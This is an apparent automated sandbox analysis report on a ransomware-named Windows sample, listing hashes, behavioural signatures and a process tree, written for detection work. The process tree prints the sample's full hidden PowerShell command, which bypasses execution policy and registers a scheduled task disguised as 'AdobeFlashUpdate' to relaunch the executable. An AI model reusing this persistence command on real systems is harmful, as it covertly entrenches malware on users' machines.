Analysis
- user interaction
yes - max time kernel
88s - max time network
91s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
16/08/2026, 23:34
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
ramsomware.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
2 signatures
150 seconds
Behavioral task
behavioral2
Sample
ramsomware.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
9 signatures
150 seconds
General
- Target ramsomware.exe
- Size 18.4MB
- Sample260816-3kshtszang
- SHA256 28bac831c5f833125f965f091badf9ff3948f2cb2b5592a87c57445370cbd5fb
- MD5 4c66a3fa61e11681243320522e647f86
- SHA1 60615c40e6bfd41fee21d089d0b38708a3a77720
- SHA512 f9792c2d3fc55b3c7fcf91ed64e10b1e0dc715970579b2a057d674477b3d4b8e977025eb4d5c3c3503011ba0fb42689f2799a1a1ca6bd80b293ec472c0dd7276
- SSDEEP 196608:9btzZ+N/1RtiRtNcF5lQkE5ZHBhGS8vNEy:9btsWtNcF5CkE5dB181Ey
- TLSH T121177B56BA5A54EDD06AC07483468633AB3174DB0B34BAFF48D496792F6AFE01F38704
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 4224 powershell.exe 4876 powershell.exe - Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe - Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ explorer.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4876 powershell.exe 4876 powershell.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4876 powershell.exe Token: SeIncreaseQuotaPrivilege 4876 powershell.exe Token: SeSecurityPrivilege 4876 powershell.exe Token: SeTakeOwnershipPrivilege 4876 powershell.exe Token: SeLoadDriverPrivilege 4876 powershell.exe Token: SeSystemProfilePrivilege 4876 powershell.exe Token: SeSystemtimePrivilege 4876 powershell.exe Token: SeProfSingleProcessPrivilege 4876 powershell.exe Token: SeIncBasePriorityPrivilege 4876 powershell.exe Token: SeCreatePagefilePrivilege 4876 powershell.exe Token: SeBackupPrivilege 4876 powershell.exe Token: SeRestorePrivilege 4876 powershell.exe Token: SeShutdownPrivilege 4876 powershell.exe Token: SeDebugPrivilege 4876 powershell.exe Token: SeSystemEnvironmentPrivilege 4876 powershell.exe Token: SeRemoteShutdownPrivilege 4876 powershell.exe Token: SeUndockPrivilege 4876 powershell.exe Token: SeManageVolumePrivilege 4876 powershell.exe Token: 33 4876 powershell.exe Token: 34 4876 powershell.exe Token: 35 4876 powershell.exe Token: 36 4876 powershell.exe Token: SeIncreaseQuotaPrivilege 4876 powershell.exe Token: SeSecurityPrivilege 4876 powershell.exe Token: SeTakeOwnershipPrivilege 4876 powershell.exe Token: SeLoadDriverPrivilege 4876 powershell.exe Token: SeSystemProfilePrivilege 4876 powershell.exe Token: SeSystemtimePrivilege 4876 powershell.exe Token: SeProfSingleProcessPrivilege 4876 powershell.exe Token: SeIncBasePriorityPrivilege 4876 powershell.exe Token: SeCreatePagefilePrivilege 4876 powershell.exe Token: SeBackupPrivilege 4876 powershell.exe Token: SeRestorePrivilege 4876 powershell.exe Token: SeShutdownPrivilege 4876 powershell.exe Token: SeDebugPrivilege 4876 powershell.exe Token: SeSystemEnvironmentPrivilege 4876 powershell.exe Token: SeRemoteShutdownPrivilege 4876 powershell.exe Token: SeUndockPrivilege 4876 powershell.exe Token: SeManageVolumePrivilege 4876 powershell.exe Token: 33 4876 powershell.exe Token: 34 4876 powershell.exe Token: 35 4876 powershell.exe Token: 36 4876 powershell.exe Token: SeIncreaseQuotaPrivilege 4876 powershell.exe Token: SeSecurityPrivilege 4876 powershell.exe Token: SeTakeOwnershipPrivilege 4876 powershell.exe Token: SeLoadDriverPrivilege 4876 powershell.exe Token: SeSystemProfilePrivilege 4876 powershell.exe Token: SeSystemtimePrivilege 4876 powershell.exe Token: SeProfSingleProcessPrivilege 4876 powershell.exe Token: SeIncBasePriorityPrivilege 4876 powershell.exe Token: SeCreatePagefilePrivilege 4876 powershell.exe Token: SeBackupPrivilege 4876 powershell.exe Token: SeRestorePrivilege 4876 powershell.exe Token: SeShutdownPrivilege 4876 powershell.exe Token: SeDebugPrivilege 4876 powershell.exe Token: SeSystemEnvironmentPrivilege 4876 powershell.exe Token: SeRemoteShutdownPrivilege 4876 powershell.exe Token: SeUndockPrivilege 4876 powershell.exe Token: SeManageVolumePrivilege 4876 powershell.exe Token: 33 4876 powershell.exe Token: 34 4876 powershell.exe Token: 35 4876 powershell.exe Token: 36 4876 powershell.exe - Suspicious use of FindShellTrayWindow 62 IoCs
pid Process 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe - Suspicious use of SendNotifyMessage 62 IoCs
pid Process 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe 2316 taskmgr.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2316 taskmgr.exe 4732 explorer.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 4672 wrote to memory of 4876 4672 ramsomware.exe 89 PID 4872 wrote to memory of 4236 4872 powershell.exe 101 PID 4236 wrote to memory of 4224 4236 ramsomware.exe 102
Processes
-
C:\Users\Admin\AppData\Local\Temp\ramsomware.exe"C:\Users\Admin\AppData\Local\Temp\ramsomware.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4672 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command " $taskName = 'AdobeFlashUpdate'; $exePath = 'C:\Users\Admin\AppData\Local\Temp\ramsomware.exe'; try { Unregister-ScheduledTask -TaskName $taskName -Confirm:$false -ErrorAction SilentlyContinue } catch {} $action = New-ScheduledTaskAction -Execute $exePath $logonTrigger = New-ScheduledTaskTrigger -AtLogOn $fourHourTrigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Hours 4) -RepetitionDuration ([TimeSpan]::MaxValue) Register-ScheduledTask -TaskName $taskName -Action $action -Trigger @($logonTrigger, $fourHourTrigger) -Force -ErrorAction Stop | Out-Null "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4876
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /01⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:2316
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:4220
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe" shell:::{52205fd8-5dfb-447d-801a-d0b52f2e83e1}1⤵PID:4812
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4732
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:5724
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4872 -
C:\Users\Admin\AppData\Local\Temp\ramsomware.exe"C:\Users\Admin\AppData\Local\Temp\ramsomware.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4236 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command " $taskName = 'AdobeFlashUpdate'; $exePath = 'C:\Users\Admin\AppData\Local\Temp\ramsomware.exe'; try { Unregister-ScheduledTask -TaskName $taskName -Confirm:$false -ErrorAction SilentlyContinue } catch {} $action = New-ScheduledTaskAction -Execute $exePath $logonTrigger = New-ScheduledTaskTrigger -AtLogOn $fourHourTrigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Hours 4) -RepetitionDuration ([TimeSpan]::MaxValue) Register-ScheduledTask -TaskName $taskName -Action $action -Trigger @($logonTrigger, $fourHourTrigger) -Force -ErrorAction Stop | Out-Null "3⤵
- Command and Scripting Interpreter: PowerShell
PID:4224
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 8c311f93e0617cb4073ad4e402a0f398f2d53af57fbb5709ed22dab5b0d6911d
- MD5 6e59331a101d32e33e5cc486d34ac617
- SHA1 0f0e812b7c0eb719ea80004f6e54508724715acc
- SHA512 ba1572f63a130e0bf3727d6c347bc2a6d487f77e0cb19df5397a152fc3d10c5006b8bbe9b4e2d0f5fbb93eec7b5edfee1aed967b560770bd83128d9634b04d4c
- TLSH T168218B33F3DD8624C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nkidvu5j.ksr.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH